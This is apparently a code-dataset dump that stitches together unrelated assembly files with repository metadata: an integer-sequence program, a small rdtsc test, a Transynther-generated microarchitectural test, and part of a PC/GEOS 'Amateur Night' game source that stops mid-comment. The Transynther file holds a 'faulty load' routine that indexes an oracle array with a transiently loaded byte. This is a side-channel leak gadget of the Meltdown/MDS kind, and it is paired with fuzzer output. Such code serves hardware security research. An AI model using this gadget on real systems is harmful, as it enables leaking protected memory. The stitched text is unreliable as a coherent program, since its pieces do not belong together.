56630395,57703361,58789795,59889781,61003403,62130745,63271891,64426925,65595931,66778993,67976195,69187621,70413355,71653481,72908083,74177245,75461051,76759585,78072931,79401173,80744395,82102681,83476115,84864781,86268763,87688145,89123011,90573445,92039531,93521353,95018995,96532541,98062075,99607681,101169443,102747445,104341771,105952505,107579731,109223533,110883995,112561201,114255235,115966181,117694123,119439145,121201331,122980765,124777531,126591713,128423395,130272661,132139595,134024281,135926803,137847245,139785691,141742225,143716931,145709893,147721195,149750921,151799155,153865981,155951483,158055745,160178851,162320885,164481931,166662073,168861395,171079981,173317915,175575281,177852163,180148645,182464811,184800745,187156531,189532253,191927995,194343841,196779875,199236181,201712843,204209945,206727571,209265805,211824731,214404433 mov $1,$0 mov $2,$0 mov $3,$0 mul $0,2 sub $1,1 mul $1,2 lpb $0,1 sub $2,1 mul $1,$2 mul $1,2 add $2,$0 sub $0,$0 mul $2,$1 mov $1,1 sub $2,1 lpe mov $1,$2 mov $4,$3 mul $4,$3 mul $4,$3 mov $5,$4 mul $5,2 add $1,$5
93.592593
2,133
0.840522
b965fb2e06030c257ee1c3a6907656a0749aaf9f
38
asm
Assembly
test/rdtsc.asm
killvxk/AssemblyLine
2a20ec925532875c2f3bb5d423eb38a00bc5c91d
[ "Apache-2.0" ]
147
2021-09-01T03:52:49.000Z
2022-03-30T16:59:58.000Z
test/rdtsc.asm
killvxk/AssemblyLine
2a20ec925532875c2f3bb5d423eb38a00bc5c91d
[ "Apache-2.0" ]
9
2021-09-15T18:04:36.000Z
2021-09-28T01:22:15.000Z
test/rdtsc.asm
killvxk/AssemblyLine
2a20ec925532875c2f3bb5d423eb38a00bc5c91d
[ "Apache-2.0" ]
19
2021-09-09T10:54:44.000Z
2022-03-18T19:56:45.000Z
SECTION .text GLOBAL test test: rdtsc
7.6
13
0.789474
6c3e944e8ccba89ebe5e032c9360e9789d72086b
7,717
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_zr_/i3-7100_9_0xca_notsx.log_21829_1339.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i3-7100_9_0xca_notsx.log_21829_1339.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i3-7100_9_0xca_notsx.log_21829_1339.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r14 push %r15 push %rax push %rcx push %rdi push %rsi lea addresses_A_ht+0x2ab5, %rsi sub $36332, %rax vmovups (%rsi), %ymm2 vextracti128 $0, %ymm2, %xmm2 vpextrq $0, %xmm2, %rdi nop nop dec %r15 lea addresses_D_ht+0x1df5d, %rsi lea addresses_WT_ht+0x1cfb3, %rdi clflush (%rsi) nop nop nop nop cmp %r11, %r11 mov $54, %rcx rep movsq sub $50804, %r11 lea addresses_WC_ht+0x1de2d, %r11 nop nop nop nop cmp $8454, %rsi mov (%r11), %rcx nop and $47347, %rdi lea addresses_WT_ht+0xde1d, %r15 clflush (%r15) nop nop nop nop nop sub %rsi, %rsi mov $0x6162636465666768, %rax movq %rax, %xmm2 vmovups %ymm2, (%r15) nop nop nop nop and $22162, %rsi lea addresses_WC_ht+0x1be2b, %rsi lea addresses_normal_ht+0x1677d, %rdi nop xor %r14, %r14 mov $88, %rcx rep movsq nop mfence lea addresses_D_ht+0xca3d, %rsi lea addresses_UC_ht+0x2d5d, %rdi nop nop nop nop cmp %r10, %r10 mov $116, %rcx rep movsb nop add $31543, %rcx lea addresses_D_ht+0xbd7d, %rax nop nop nop sub %r10, %r10 movw $0x6162, (%rax) sub $49944, %rax lea addresses_UC_ht+0x12ebd, %r15 nop nop nop nop dec %r14 mov $0x6162636465666768, %rcx movq %rcx, %xmm3 vmovups %ymm3, (%r15) nop xor $20689, %r14 lea addresses_normal_ht+0x1be5d, %rcx nop nop nop nop nop add %rdi, %rdi and $0xffffffffffffffc0, %rcx vmovntdqa (%rcx), %ymm7 vextracti128 $1, %ymm7, %xmm7 vpextrq $0, %xmm7, %r10 xor $65482, %r14 lea addresses_normal_ht+0x1555d, %rax nop nop add %r10, %r10 mov $0x6162636465666768, %r14 movq %r14, %xmm4 vmovups %ymm4, (%rax) nop nop nop dec %r10 lea addresses_normal_ht+0xc83d, %rdi nop nop nop add $33936, %r11 movb (%rdi), %r14b nop nop nop inc %rcx lea addresses_UC_ht+0x1355d, %rsi lea addresses_A_ht+0x15d5d, %rdi nop nop nop nop nop xor $956, %r10 mov $83, %rcx rep movsb nop nop inc %rcx pop %rsi pop %rdi pop %rcx pop %rax pop %r15 pop %r14 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r9 push %rax push %rcx push %rdi push %rdx // Store lea addresses_PSE+0xbd1d, %rdi nop nop nop nop sub $49378, %rax movb $0x51, (%rdi) nop inc %r9 // Store lea addresses_WC+0xa95d, %rcx clflush (%rcx) nop add $48963, %r10 mov $0x5152535455565758, %rdi movq %rdi, %xmm1 vmovups %ymm1, (%rcx) nop nop nop nop and $19633, %rdx // Faulty Load lea addresses_UC+0x1c55d, %rdx nop cmp %r10, %r10 movaps (%rdx), %xmm6 vpextrq $0, %xmm6, %rcx lea oracles, %r10 and $0xff, %rcx shlq $12, %rcx mov (%r10,%rcx,1), %rcx pop %rdx pop %rdi pop %rcx pop %rax pop %r9 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_UC', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_PSE', 'size': 1, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_WC', 'size': 32, 'AVXalign': False}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_UC', 'size': 16, 'AVXalign': True}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'congruent': 8, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}} {'src': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': True}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False}} {'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}} {'src': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False}} {'src': {'same': True, 'congruent': 4, 'NT': True, 'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': True, 'congruent': 10, 'NT': False, 'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False}} {'src': {'same': False, 'congruent': 5, 'NT': True, 'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 8, 'same': True}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
34.146018
2,999
0.659712
c29560830e59a04acef0c5c4f18dfd4281e2defb
72,163
asm
Assembly
Appl/Games/Amateur/amateurContent.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Appl/Games/Amateur/amateurContent.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Appl/Games/Amateur/amateurContent.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @---------------------------------------------------------------------- PROJECT: Amateur Night MODULE: amateurContent FILE: amateurContent.asm AUTHOR: Chris Boyke ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- cdb 1/91 DESCRIPTION: This file contains code to implement the "Content" object of peanut command. This object receives input from the UI and performs the appropriate action / routing to the visible objects $Id: amateurContent.asm,v 1.1 97/04/04 15:12:27 newdeal Exp $ -----------------------------------------------------------------------------@ COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ContentRelocate %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: Relocate the clown moniker list PASS: *ds:si = AmateurContentClass object ds:di = AmateurContentClass instance data es = Segment of AmateurContentClass. RETURN: DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 3/11/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ContentRelocate method dynamic AmateurContentClass, reloc uses ax,cx,dx,bp .enter call HackApp_RelocOrUnReloc .leave mov di, offset AmateurContentClass call ObjRelocOrUnRelocSuper ret ContentRelocate endm COMMENT @--------------------------------------------------------------------- ContentInitialize ------------------------------------------------------------------------------ SYNOPSIS: Setup the Content object and the gameObjects block with proper data -- set the mouse pointer CALLED BY: ProcessClass on UI_OPEN_APPLICATION PASS: RETURN: nothing DESTROYED: ax,cx,dx,bp PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- cdb 1/91 initial revision ---------------------------------------------------------------------------@ ContentInitialize method dynamic AmateurContentClass, MSG_CONTENT_INITIALIZE call CalcClownSize ; Set monikers for clowns call ContentSetClownMonikers ; Read the joke file call ContentReadJokeFile ; create movable objects call CreateObjects ; Set the mouse pointer image push si mov cx, handle mousePtr mov dx, offset mousePtr mov ax, MSG_GEN_VIEW_SET_PTR_IMAGE clr di mov bx, handle AmateurView mov si, offset AmateurView call ObjMessage pop si ; Init the starting level mov di, ds:[si] add di, ds:[di].Vis_offset mov ds:[di].ACI_startAct, 1 call DisplayAct ; Reset the score and pellets left displays (to deal with ; restarting from state). call ContentDisplayScore call ContentDisplayPelletsLeft clr cl call EnableTriggers ; Figure out the deal... mov ax,MSG_GEN_APPLICATION_GET_DISPLAY_SCHEME call GenCallApplication mov es:[displayType], ah mov ax, MSG_CLOWN_SET_STATUS mov cl, CS_ALIVE call CallAllClowns call SetColorInfo call FindMonikers ret ContentInitialize endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ContentSetStartAct %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: Set the starting act for future games PASS: *ds:si = AmateurContentClass object ds:di = AmateurContentClass instance data es = Segment of AmateurContentClass. RETURN: DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 2/11/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ContentSetStartAct method dynamic AmateurContentClass, MSG_CONTENT_SET_START_ACT mov ds:[di].ACI_startAct, dx ret ContentSetStartAct endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ContentCancelSetStartAct %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: Cancel setting the starting act for future games PASS: *ds:si = AmateurContentClass object ds:di = AmateurContentClass instance data es = Segment of AmateurContentClass. RETURN: DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 2/11/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ContentCancelSetStartAct method dynamic AmateurContentClass, MSG_CONTENT_CANCEL_SET_START_ACT clr bp ;not indeterminate mov cx,ds:[di].ACI_startAct mov bx,handle SetLevelRange mov si,offset SetLevelRange mov di,mask MF_FIXUP_DS mov ax,MSG_GEN_VALUE_SET_INTEGER_VALUE call ObjMessage clr cx ;not modified mov di,mask MF_FIXUP_DS mov ax,MSG_GEN_VALUE_SET_MODIFIED_STATE call ObjMessage mov bx,handle SetLevelInteraction mov si,offset SetLevelInteraction mov di,mask MF_FIXUP_DS mov ax,MSG_GEN_MAKE_NOT_APPLYABLE call ObjMessage ret ContentCancelSetStartAct endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ContentPauseGame %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: Pause the game PASS: *ds:si = AmateurContentClass object ds:di = AmateurContentClass instance data es = Segment of AmateurContentClass. RETURN: nothing DESTROYED: cx REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 2/11/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ContentPauseGame method AmateurContentClass, MSG_CONTENT_PAUSE_GAME mov ds:[di].ACI_status, AGS_PAUSED mov cl, mask TF_CONTINUE or mask TF_ABORT call EnableTriggers call DisplayPauseText ret ContentPauseGame endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ContentAbortGame %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: PASS: *ds:si = AmateurContentClass object ds:di = AmateurContentClass instance data es = Segment of AmateurContentClass. RETURN: nothing DESTROYED: ax,cx,dx,bp REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 2/11/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ContentAbortGame method dynamic AmateurContentClass, MSG_CONTENT_ABORT_GAME call ContentStopTimer ; Set all pellets/peanuts/clouds to "unused" status clr al lea bx, ds:[di].ACI_pellets mov cx, MAX_MOVABLE_OBJECTS resetLoop: mov ds:[bx].HS_status, al add bx, size HandleStruct loop resetLoop mov ax,MSG_VIS_INVALIDATE call ObjCallInstanceNoLock mov ds:[di].ACI_status, AGS_OVER ; ; Nuke the Abort and Pause triggers ; clr cl call EnableTriggers ret ContentAbortGame endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ContentContinueGame %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: continue a paused game. If none paused, start a new one. PASS: *ds:si = AmateurContentClass object ds:di = AmateurContentClass instance data es = Segment of AmateurContentClass. RETURN: DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 2/11/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ContentContinueGame method dynamic AmateurContentClass, MSG_CONTENT_CONTINUE_GAME uses ax,cx,dx,bp .enter cmp ds:[di].ACI_status, AGS_RUNNING je done cmp ds:[di].ACI_status, AGS_OVER je startNew cmp ds:[di].ACI_status, AGS_STOPPED je startNew mov cl, mask TF_PAUSE or mask TF_ABORT call EnableTriggers mov ds:[di].ACI_status, AGS_RUNNING mov ax, MSG_VIS_INVALIDATE call ObjCallInstanceNoLock call ContentStartTimer done: .leave ret startNew: call ContentStartGame jmp done ContentContinueGame endm if 0 COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ContentGetStartAct %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get the starting act from the UI and stick it in my ear. CALLED BY: ContentInitialize, ContentStartGame PASS: ds:di - content RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 2/27/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ContentGetStartAct proc near uses ax,bx,si class AmateurContentClass .enter push di mov bx, handle Interface mov si, offset SetLevelRange mov ax, MSG_GEN_VALUE_GET_VALUE mov di, mask MF_CALL call ObjMessage pop di EC < call ECCheckContentDSDI > mov ds:[di].ACI_startAct, dx ; display it to the world call DisplayAct .leave ret ContentGetStartAct endp endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ContentStartGame %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: PASS: *ds:si = AmateurContent`Class object ds:di = AmateurContent`Class instance data es = Segment of AmateurContent`Class. RETURN: DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 2/ 7/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ContentStartGame method AmateurContentClass, MSG_CONTENT_START_GAME uses ax,cx,dx,bp .enter mov cl, mask TF_ABORT or mask TF_PAUSE call EnableTriggers call ContentStopTimer ; kill the old timer (if any) ; Set instance variables mov ds:[di].ACI_clownsLeft, NUM_CLOWNS mov ds:[di].ACI_sound, ST_EXTRA_CLOWN mov ax, ds:[di].ACI_startAct mov ds:[di].ACI_act, ax cmp ax,1 jne startingAtBonusLevel clrdw dxax setInitScore: movdw ds:[di].ACI_score,dxax movdw ds:[di].ACI_scoreLastAct,dxax ; Set all clowns to "alive" status mov ax, MSG_CLOWN_SET_STATUS mov cl, CS_ALIVE call CallAllClowns call ContentPrepareNextAct .leave ret startingAtBonusLevel: mov cx,ax ;starting act dec cx ;don't include level starting at clrdw dxax ;initial score nextLevel: call ContentCalcMaxScoreForAct add ax,bx adc dx,0 loop nextLevel jmp setInitScore ContentStartGame endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ContentCalcMaxScoreForAct %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Calculate the maximum score a player can get from a level if he destroyed all peanuts and tomatoes, saved all the clowns and used 1/2 of the pellets. This only works for levels in the ActTable. CALLED BY: INTERNAL ContentStartGame PASS: ds:si - AmateurContent cx - level RETURN: bx - max score for level DESTROYED: nothing PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: This routine should be optimized for SMALL SIZE over SPEED Common cases: unknown REVISION HISTORY: Name Date Description ---- ---- ----------- srs 6/ 2/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ContentCalcMaxScoreForAct proc far uses es,ax,dx,cx,si .enter mov ax,cx ;act dec ax ;1st act at 0 offset mov cx,segment idata mov es,cx clr cx ;score mov bx,size ActInfo mul bx mov si,ax add si,offset ActTable mov bx,es:[si].AI_peanuts mov ax,SCORE_PEANUT_HIT mul bx add cx,ax mov bx,es:[si].AI_tomatoes mov ax,SCORE_TOMATO mul bx add cx,ax mov bx,es:[si].AI_pellets shr bx,1 mov ax,SCORE_PELLET_LEFT mul bx add cx,ax add cx,(SCORE_CLOWN * 6) + (SCORE_CLOWN_ADDER * 15) mov bx,cx .leave ret ContentCalcMaxScoreForAct endp COMMENT @--------------------------------------------------------------------- ContentStartTimer ------------------------------------------------------------------------------ SYNOPSIS: Start the timer CALLED BY: ContentStartGame PASS: ds:di - content object RETURN: nothing DESTROYED: ax,bx,cx,dx PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- cdb 1/91 initial revision ---------------------------------------------------------------------------@ ContentStartTimer proc near uses di class AmateurContentClass .enter EC < call ECCheckContentDSDI > EC < call ECCheckContentDSSI > cmp ds:[di].ACI_status, AGS_RUNNING jne 20$ call ContentStopTimer ; kill old timer, if any 20$: mov ds:[di].ACI_status, AGS_RUNNING mov cx, INTERVAL_START_ACT mov dx, MSG_TIMER_TICK call ContentSetupTimer .leave ret ContentStartTimer endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ContentSetupTimer %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Set up a one-shot timer CALLED BY: PASS: ds:di - content cx - timer interval dx - message to send to this content when timer expires RETURN: nothing DESTROYED: ax,bx,cx,dx PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 2/10/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ContentSetupTimer proc near class AmateurContentClass .enter EC < call ECCheckContentDSDI > mov al, TIMER_EVENT_ONE_SHOT ; Prepare timer mov bx, handle GameObjects call TimerStart mov ds:[di].ACI_timerID, ax mov ds:[di].ACI_timerHandle, bx .leave ret ContentSetupTimer endp COMMENT @--------------------------------------------------------------------- ContentStopTimer ------------------------------------------------------------------------------ SYNOPSIS: Stop the timer CALLED BY: Global PASS: - RETURN: - DESTROYED: - PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- cdb 1/91 initial revision ---------------------------------------------------------------------------@ ContentStopTimer proc near uses bx .enter class AmateurContentClass EC < call ECCheckContentDSDI > clr bx xchg bx, ds:[di].ACI_timerHandle ; stop the timer tst bx jz markStopped mov ax, ds:[di].ACI_timerID call TimerStop markStopped: mov ds:[di].ACI_status, AGS_STOPPED .leave ret ContentStopTimer endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ContentViewSizeChanged %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: We need to reposition all the clowns and veggie blasters when the size changes PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of AmateurContentClass bp - handle of pane window cx - new window width dx - new window height RETURN: nothing DESTROYED: ax,cx,dx,bp PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: This method should be optimized for SMALL SIZE over SPEED Common cases: unknown REVISION HISTORY: Name Date Description ---- ---- ----------- srs 6/ 2/93 Initial version 